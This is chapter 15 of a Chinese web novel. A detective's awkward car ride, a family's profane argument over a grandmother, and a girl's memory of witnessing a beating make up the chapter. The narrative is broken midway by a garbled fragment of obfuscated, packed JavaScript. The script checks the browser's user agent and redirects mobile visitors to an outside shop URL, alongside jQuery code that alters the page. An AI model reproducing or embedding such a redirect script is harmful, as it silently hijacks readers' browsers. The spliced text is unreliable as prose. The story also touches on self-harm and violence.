15. 第 15 章
作品:《流泪的话我不说》 今天张舒兰包饺子,特地嘱咐李凯下了班后去菜市场带两斤肉回来。
李凯本来车都开到小区楼下了,才想到这事,只能一脚油门掉了个头又出去了。
结果在小区门口遇见了提着个菜篮看起来也正打算要出门的陈洁。李凯特意把车靠边,把车窗降下来:“陈老师,你去买菜吗,正好顺路要不要捎你一程?”
陈洁一开始似乎没听到,走了几步才又回身走到李凯车窗前,脸上并无太多惊讶:“李警官?你也出去?”
“我看你是要去买菜吧,正好我也要去趟菜市场。”
“不会麻烦你吧。”陈洁客气道。
“这话说的,当然不会。”
李凯会认识陈洁,这件事说来也算是个缘分。
自打李凯离婚后,张舒兰一直想让他再找个新对象,跟他说过好几次媒,但是他都以工作为由给拒绝了。后来张舒兰不干了,说是给他物色到了一个很不错的对象,硬是要让他去见一面,说是成不成都没关系。至于多不错,说是人工作好是个老师,人个高模样也不错挺有气质,最重要的一点据张舒兰说人客客气气的没有什么坏脾气,一看就是个文化人。
张舒兰最喜欢文化人。
李凯被磨得没办法,只能去见了。
没想到这人就是陈洁。
两人自然是没有看对眼,但因为同住一个小区,偶尔遇见也会打招呼。
陈洁上了车,两人一时无话。车厢的沉默让人觉得有点难捱,李凯没话找话地问了一句:“你哥最近恢复得怎么样了?”
其实李凯和陈洁的第一次遇见不是在相亲的时候,而是在阳城第一人民医院。
他女儿当时因为割腕住院,旁边床的陪护就是陈洁。床上躺的是她表哥,听说是从高楼摔下来摔到了头。
两人因为同在一个病房,多少聊了几句。但是没多久那床病人就办了转院离开了。
两人再见面,就是在相亲桌上。
陈洁点头:“好多了,但是生活还不能自理,需要人照顾。”
李凯对这方面不是很懂,只能安慰了一句:“慢慢来,这都需要一个过程。”
陈洁“嗯”了一声,说话间,两人的车经过了阳城一中:“一中那个学生的案子还没有结案吗?”
李凯平时并没有跟外人说工作的习惯,即使张舒兰问,他也不会多说。所以眼下陈洁问起来,他也只是搪塞了几句:“快了,就还有一点小疑点没处理好。”
“那就好。”
“孩子死得不明不白的,一定要还她一个公道。”
陈洁这话说得掷地有声,特别像是一个负责任的老师能说出来的话。
但是却不像是陈洁能说出来的话。
李凯分心扭头看了一眼副驾驶的陈洁,下一秒,陈洁忽然指着前方叫了一声:“当心!”
李凯本能一脚急刹。两人因为惯性狠狠摔在椅背上,又弹回。
李凯降下车窗,揉着后脑勺往外看去,一只三花小猫正一蹦一跳地从车前跳过。
原来是只猫。
还好只是只猫。
*
浑浑噩噩地过了元旦,宋阳没有半分过新年的滋味。
今年除夕在一月。
看着还远,但有些事已经迫在眉睫。
徐美和宋建国就接宋阳奶奶回自己家过年这件事又吵了起来。
宋建国虽然缺心眼的事没少干,但到底还是亲儿子。他是主张把宋阳奶奶接回来过年的。
“你也别觉得我心眼坏。”
“这老太婆在养老院住了这么些年,你那些个大姐二姐哪一回接了她回家过年的?”
“可是。”
“我们不是用爷爷奶奶的动迁款买了这套房子吗?我——。”宋阳下意识脱口而出,让徐美一个白眼给堵了回去。
“那是借!白纸黑字都写好的借条!要真是给倒就好了!”宋阳的话触到了徐美的痛点:“我看这老太太真的是一点都拎不清!”
宋建国在旁边低头吃菜:“写借条就是走个过场,为的不就是堵住我姐她们的嘴吗,哪还能真让我们还。”
“你是不是没脑子?你妈可精得很,嘴上对你这个儿子有多宝贝,背地里不知道给她那两个女儿藏了多少私房钱。上次,就上次她骨折住院那次,我是鞍前马后地伺候她,你看看你那两个姐在干什么?来了就知道一屁股坐着聊天!你还觉得欠她们的,欠她们个屁!”
“够了!别净说些没用的了!”宋建国终于忍不住,手里的筷子往桌上重重一拍。
……
“呸!你就是个窝囊废!”徐美把碗重重往桌上一摔。
“就知道老婆孩子面前横!到了外面连个屁都不是!我跟你说你今年要是再屁颠屁颠的去养老院把那老太婆接回家来,我就跟宋阳去外边过去,让你们母子俩好好在这过!”
徐美话说得很绝。
她看看宋阳:“你听见了吗?”
“嘿!你他妈来劲了是吧!”宋建国不甘示弱,张大了嘴拼命嚷嚷,飞溅出来的菜沫喷了一桌。
宋阳不想参与到这场战争里。她低着头赶快把碗里的饭扒拉完。
“这就吃完了?!”徐美怒气冲冲地叫住正准备要走的宋阳。
宋阳迎着对方暴怒的眼神,低声开口:“嗯,你们慢慢吃吧。”
“行行行,不吃就不吃,饿不死你!”徐美叉着腰在那儿骂:“大的小的都觉得我不对,我辛辛苦苦这么多年,忍气吞声到底是为了什么,不就是为了这个家吗!”
也许是骂累了,徐美一屁股又坐回到椅子上:“我自从嫁到你们宋家过过几天舒心的日子?别的也就算了,我刚生宋阳那阵子一个人在医院,你妈来看过我吗?帮我带过一天孩子吗?”
宋建国皱着眉辩解:“徐美你够了,又拿这些陈芝麻烂谷子的事说个没完是吧?你月子里我妈没来是因为她要照顾我爸,还要照你这么说,你妈不也没来照顾你吗,你怎么就只记着我妈的不好。”
“我操你大爷,宋建国,我妈当时摔断了腿,你让她怎么来照顾我!”
“你爸当时活蹦乱跳的需要照顾个屁,你以为我不知道你妈为什么不来说来说去还不是因为嫌我生得是一个没带把的!”
“徐美你没完了是吧!”
……
宋阳再也受不了,她飞快地回到自己的房间,将门反锁上后靠着门板,大口大口地喘气。
忍到高考以后,她就能远走高飞。
宋阳告诉自己,她很快就能结束这一切。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026730|194453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>*
晚上宋阳躺在床上。
卧室的灯都关了。
她试着想要睡着有好一会儿了,但是她睡不着。
每次宋阳失眠,她都免不了要想到她。
从一开始的抗拒排斥,到现在宋阳已经能够坦然地回忆起她。
这是一种可耻,还是一种进步。
宋阳不知道,也无法下定义。
已经快三年了。
江心。
你还不愿意安息吗。
现在洛音也死了。
你也该安息了,对吧。
害死你的人是她,是他们。不是她,不是宋阳。
宋阳一直都记得那天,清晰到每一个细节。
那是五月初的一个傍晚。
当天全市突然大降温,英语老师穿着短裙,停在黑板上写字的手都是抖的。
除此之外,平常无比。
宋阳回到家吃完饭打算要做作业时,发现明天要交的数学试卷没有带回家。
如果想要找个借口搪塞过去,对宋阳这样的学生来说,是一件很危险的事。况且数学老师最近又恰好处在更年期,脾气说来就来。
宋阳迅速就做了决定。
回学校拿试卷。
她出门的时候将近六点半,初夏的天才刚刚蒙黑。
宋阳出门的时候,徐美在房间里看电视。她怕麻烦没跟她说,自己一个人出了门。她当时的家离学校并不远,来回只要半个小时。不过她担心到时候天黑得快,所以路上走得很快。
到学校,天黑了一半。路上走的人只能看个影子,看不清脸。她喘着气轻轻敲门卫室的窗户玻璃。
守门的大爷的脑袋从灯火通明的保安室里探出来。
“干嘛的?”他一开口,就是满嘴的酒气。
“回,回教室拿作业。”宋阳有些紧张。
“这么晚了还拿作业。”
“你们老师知道了要感动死了。”大爷随口调笑了两句,替她开了门,自己又转身回保安室的里间。
宋阳匆匆说了句谢谢,拔腿往学校里跑。校园里没有路灯,到处都很黑,有一种鬼影重重的感觉,除了个别还亮着灯的教师办公室。
她跑回教室慌慌张张地翻到自己的试卷,一刻也不停留,扭头就往外跑。
门卫大爷跟着电视唱歌的声音清晰渐渐生动起来,宋阳才渐渐放慢了脚步。
她跟门卫大爷随口道了句谢谢,马不停蹄地赶回家。路上有路灯,但几乎没有人烟。宋阳走着走着,心里涌起一股异样的紧张。
她听到人说话的声音从远处传来。
学校前的路左边通向一片自建房。白天的时候宋阳会从这条路走,离车站更近。
说话的声音就是从最靠近路边的一个废弃的了厂房前传来的。
晚上太安静。
他们的一言一语,她都听得清楚。
咒骂,扇耳光,还有,笑,无尽的,又无耻的笑。
所有这些清晰的,光怪陆离的声音,像一面巨网网住了她。
宋阳本来应该走大路走的,但是她的身体还是不受控制地带着她一步一步地接近那片未知的罪恶。
在那扇铁门前。
有三个人,正在围殴一个女孩。

